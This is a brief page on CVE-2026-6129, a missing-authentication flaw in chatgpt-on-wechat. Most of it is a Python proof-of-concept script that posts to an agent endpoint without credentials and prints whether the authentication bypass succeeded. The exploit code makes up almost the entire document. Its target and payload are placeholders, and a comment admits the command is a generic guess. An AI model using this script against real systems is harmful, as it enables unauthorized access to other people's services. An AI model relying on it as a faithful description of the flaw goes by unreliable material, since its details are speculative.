CVE-2026-6129 chatgpt-on-wechat身份验证缺失漏洞

import requests # Exploit Title: CVE-2026-6129 - Auth Bypass in CowAgent # Description: This script attempts to access the Agent Mode Service without authentication. target_url = "http://target-ip:port/agent/endpoint" # Replace with actual target headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # Example payload to trigger the vulnerable function payload = { "command": "status_check", # Generic command based on description "param": "manipulation" } try: # Send request without authentication token response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Vulnerability confirmed! Authentication bypassed.") print("[+] Response:", response.text) else: print("[-] Target may not be vulnerable or endpoint has changed.") print("[-] Status Code:", response.status_code) except Exception as e: print(f"[!] Error: {e}")